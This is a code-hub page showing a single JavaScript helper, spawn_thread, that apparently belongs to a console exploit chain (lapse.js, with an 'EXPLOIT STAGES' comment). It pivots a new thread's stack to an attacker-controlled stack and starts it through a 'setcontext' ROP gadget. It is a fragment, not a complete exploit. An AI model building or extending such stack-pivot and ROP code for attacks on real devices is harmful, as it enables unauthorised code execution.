MCPcopy Create free account
hub / github.com/GamerHack/GamerHack.github.io / spawn_thread

Function spawn_thread

g2all/900/lapse.js:455–472  ·  view source on GitHub ↗
(thread)

Source from the content-addressed store, hash-verified

453}
454
455function spawn_thread(thread) {
456 const ctx = new Buffer(context_size);
457 const pthread = new Pointer();
458 pthread.ctx = ctx;
459 // pivot the pthread's stack pointer to our stack
460 ctx.write64(0x38, thread.stack_addr);
461 ctx.write64(0x80, thread.get_gadget('ret'));
462
463 call_nze(
464 'pthread_create',
465 pthread.addr,
466 0,
467 chain.get_gadget('setcontext'),
468 ctx.addr,
469 );
470
471 return pthread;
472}
473
474// EXPLOIT STAGES IMPLEMENTATION
475

Callers 1

race_oneFunction · 0.70

Calls 3

call_nzeFunction · 0.70
write64Method · 0.45
get_gadgetMethod · 0.45

Tested by

no test coverage detected